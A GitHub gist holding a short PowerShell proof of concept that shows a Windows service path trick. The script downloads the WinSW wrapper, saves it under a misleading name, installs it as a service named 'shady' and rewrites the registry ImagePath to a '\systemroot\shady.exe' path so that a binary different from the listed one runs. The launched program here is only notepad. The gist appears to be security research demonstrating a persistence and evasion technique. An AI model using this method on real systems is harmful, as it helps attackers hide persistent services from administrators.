Skip to content

Instantly share code, notes, and snippets.

@KyleHanslovan
Created December 9, 2018 18:30
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save KyleHanslovan/60ddaa4c8475b614b5f11cce32e054e2 to your computer and use it in GitHub Desktop.
Save KyleHanslovan/60ddaa4c8475b614b5f11cce32e054e2 to your computer and use it in GitHub Desktop.
PoC demoing extra appended ".exe."
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;
$TargetDrive = Join-Path $Env:SystemDrive \
$TargetDirName = "systemroot"
$TargetDir = Join-Path $TargetDrive $TargetDirName
$TargetBinPath = Join-Path $TargetDir "shady.com"
$TargetConfigPath = Join-Path $TargetDir "shady.xml"
$ConfigContents = "<configuration><id>shady</id><name>shady</name><description>shady</description><executable>notepad.exe</executable></configuration>"
New-Item -Path $TargetDrive -Name $TargetDirName -ItemType directory
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile("https://github.com/kohsuke/winsw/releases/download/winsw-v2.1.2/WinSW.NET4.exe",$TargetBinPath)
Out-File -FilePath $TargetConfigPath -InputObject $ConfigContents -Encoding ASCII
Invoke-Expression ("{0} install" -f $TargetBinPath)
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\shady" -Name "ImagePath" -Value "\systemroot\shady.exe"
Invoke-Expression "sc.exe start shady"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment